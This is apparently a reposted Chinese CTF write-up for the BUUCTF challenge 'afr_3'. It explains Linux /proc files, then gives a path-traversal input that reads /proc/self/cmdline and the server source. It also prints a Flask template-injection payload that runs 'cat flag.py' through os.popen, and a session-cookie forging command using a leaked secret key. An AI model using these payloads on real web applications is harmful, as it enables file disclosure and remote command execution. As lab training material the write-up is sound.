BUUCTF第一章 web入门]afr_3

本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
关于/proc/目录
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/[pid],当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示

在这里插入图片描述
输入一个666
在这里插入图片描述
点击article
在这里插入图片描述
有一个name参数,利用这个name参数获取当前执行系统命令

name=../../../../../proc/self/cmdline

在这里插入图片描述
得到python server.py,然后查看server.py的源代码

name=../../../../../proc/self/cwd/server.py

在这里插入图片描述
可以看到有个flag.py和key.py
在flag.py中应该是存在flag,但是不能查看
在这里插入图片描述

在这里插入图片描述

{
    
    'n1code': '{
    
    {\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

在这里插入图片描述
伪造:

./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{
    
    {\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

在这里插入图片描述

得到:

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E

在这里插入图片描述

kali安装flask-session-cookie-manager-master参考
kali安装pip命令

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/114330630
今日推荐